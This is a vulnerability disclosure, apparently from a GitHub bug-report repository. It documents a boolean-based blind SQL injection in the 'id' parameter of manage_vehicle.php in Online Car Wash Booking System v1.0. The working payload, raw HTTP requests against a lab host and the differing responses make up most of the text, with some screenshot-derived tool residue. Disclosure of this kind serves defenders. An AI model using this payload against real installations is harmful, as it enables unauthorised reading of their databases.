

main

...

bug_report / vendors / oretnom23 / online-car-wash-booking-system / SQLi-7.md



debug601 Create SQLi-7.md

History

1 contributor

33 lines (23 sloc) | 1.45 KB

...

Online Car Wash Booking System v1.0 by oretnom23 has SQL injection

vendors: <https://www.sourcecodester.com/php/15274/online-car-wash-booking-system-phpoop-free-source-code.html>

Vulnerability File: /ocwbs/admin/vehicles/manage_vehicle.php?id=

Vulnerability location: /ocwbs/admin/vehicles/manage_vehicle.php?id=, id

Current database name: ocwbs_db,length is 8

[+] Payload: /ocwbs/admin/vehicles/manage_vehicle.php?

id=5%27%20and%20length(database())%20=8--+ // Leak place ---> id

```
GET /ocwbs/admin/vehicles/manage_vehicle.php?id=5%27%20and%20length(database())%20=8
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=qr1o26kvu55cqitadqht6jna5
Connection: close
```

When length (database ()) = 7, Content-Length: 1978

```
GET
/ocwbs/admin/vehicles/manage_vehicle.php?id=5
%27%20and%20length(database())%20=7--+
HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0;
WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept:
text/html,application/xhtml+xml,application/xml;
q=0.9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=qr1o26kvu55cqqtadqht6jna5
Connection: close
```

```
HTTP/1.1 200 OK
Date: Thu, 19 May 2022 13:16:35 GMT
Server: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.4.1
X-Powered-By: PHP/7.4.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 1978
Connection: close
Content-Type: text/html; charset=UTF-8
```

```
<div class="container-fluid">
  <form action="" id="vehicle-form">
    <input type="hidden" name="id" value=
    <div class="form-group">
      <label for="name" class="contr
      <input type="text" name="name"
rounded-0" value="" required/>
```

INT SQL BASICS UNION BASED ERROR/DOUBLE QUERY TOOLS WAF BYPASS ENCODING HT

Load URL

Split URL

Execute

☐ Post data ☐ Referrer 0xHEX %URL BASE64 Insert string

Name

Status Active

When length (database ()) = 8, Content-Length: 1997

```
Raw Params Headers Hex
GET
/ocwbs/admin/vehicles/manage_vehicle.php?id=5
%27%20and%20length(database())%20=8--+
HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0;
WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept:
text/html,application/xhtml+xml,application/xml;
q=0.9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=qr1o26kvu55cqqtadqht6jna5
Connection: close
```

```
Raw Headers Hex HTML Render
HTTP/1.1 200 OK
Date: Thu, 19 May 2022 13:17:22 GMT
Server: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.4.1
X-Powered-By: PHP/7.4.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 1997
Connection: close
Content-Type: text/html; charset=UTF-8
```

```
<div class="container-fluid">
  <form action="" id="vehicle-form">
    <input type="hidden" name="id" value="5">
    <div class="form-group">
      <label for="name" class="control-label">
      <input type="text" name="name" id="name"
rounded-0" value="10 wheeler" required/>
    </div>
    <div class="form-group">
      <label for="status" class="control-label">
```

INT

SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION-

Load URL

Split URL

Execute

http://192.168.1.19/ocwbs/admin/vehicles/manage_vehicle.php?id=5' and length(database())=8--+|

☐ Post data

☐ Referrer

☐ 0xHEX

☐ %URL

☐ BASE64

Insert string to replace

Insert re

Name

10 wheeler

Status

Active